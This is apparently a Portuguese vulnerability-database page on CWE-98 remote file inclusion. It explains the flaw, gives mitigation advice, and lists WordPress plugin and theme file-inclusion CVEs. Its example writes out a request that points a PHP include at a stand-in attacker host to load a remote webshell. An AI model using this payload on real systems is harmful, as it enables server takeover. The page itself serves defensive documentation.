Falhas do tipo CWE-98

1.358 resultados

Inclusão Remota de Arquivo

A aplicação inclui um arquivo fornecido pelo usuário sem validação adequada, permitindo que um atacante carregue e execute código malicioso de um servidor remoto. O erro ocorre quando a entrada do usuário é passada diretamente a funções como `include()`, `require()` ou equivalentes, sem sanitização ou whitelist.

Exemplo

Uma página PHP que faz `include($_GET['page'] . '.php')` permite que um atacante acesse `?page=http://malicioso.com/shell`, carregando e executando um webshell hospedado externamente no contexto da aplicação alvo.

Como mitigar

Valide e restrinja o parâmetro a uma lista branca de arquivos permitidos; nunca permita URLs remotas em includes; use funções seguras como `basename()` para remover paths, e desabilite `allow_url_include` no PHP. Idealmente, evite lógica dinâmica de includes — use routing/controllers explícitos.

CVE-2021-47978MEDIUMProcessMaker 3.5.4 Local File Inclusion via Path TraversalEPSS 0.8%CVE-2024-13790CRITICALMinimogWP – The High Converting eCommerce WordPress Theme <= 3.7.0 - Unauthenticated Local PHP File InclusionEPSS 0.8%CVE-2024-12272HIGHWP Travel Engine – Elementor Widgets | Create Travel Booking Website Using WordPress and Elementor <= 1.3.7 - Authenticated (Contributor+) Local File InclusionEPSS 0.8%CVE-2025-39570HIGHWordPress WPCOM Member plugin <= 1.7.7 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2024-4258CRITICALVideo Gallery – YouTube Playlist, Channel Gallery by YotuWP <= 1.3.13 - Unauthenticated Local File InclusionEPSS 0.8%CVE-2025-26957HIGHWordPress Affiliate Coupons plugin <= 1.7.3 - Local File Inclusion vulnerabilityEPSS 0.8%CVE-2025-26932HIGHWordPress WPBot plugin <= 6.3.5 - Local File Inclusion vulnerabilityEPSS 0.8%CVE-2025-32499MEDIUMWordPress Logo Showcase Ultimate plugin <= 1.4.4 - Local File Inclusion vulnerabilityEPSS 0.8%CVE-2023-49031MEDIUMDirectory Traversal (Local File Inclusion) vulnerability in Tikit (now Advanced) eMarketing platform 6.8.3.0 allows a remote attacker to reaEPSS 0.8%CVE-2025-39458HIGHWordPress Foton theme <= 2.5.2 - Local File Inclusion vulnerabilityEPSS 0.8%CVE-2025-30846HIGHWordPress Restaurant Menu by MotoPress plugin <= 2.4.4 - Local File Inclusion vulnerabilityEPSS 0.8%CVE-2025-47498HIGHWordPress Hotel Booking plugin <= 3.6 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2025-47440HIGHWordPress WPAdverts plugin <= 2.2.2 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2025-47496HIGHWordPress PublishPress Authors plugin <= 4.7.5 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2025-47494HIGHWordPress EventON plugin <= 2.4.1 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2025-47510HIGHWordPress Display Eventbrite Events plugin < 6.3 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2025-47508HIGHWordPress GamiPress plugin <= 7.3.7 - Local File Inclusion VulnerabilityEPSS 0.8%CVE-2024-3061HIGHHUSKY – Products Filter Professional for WooCommerce <= 1.3.5.2 - Authenticated (Admin+) Local File InclusionEPSS 0.8%CVE-2024-12811HIGHTraveler <= 3.1.9 - Authenticated (Contributor+) Local File Inclusion via ShortcodeEPSS 0.8%CVE-2025-39360HIGHWordPress Grace Mag theme <= 1.1.5 - Local File Inclusion vulnerabilityEPSS 0.8%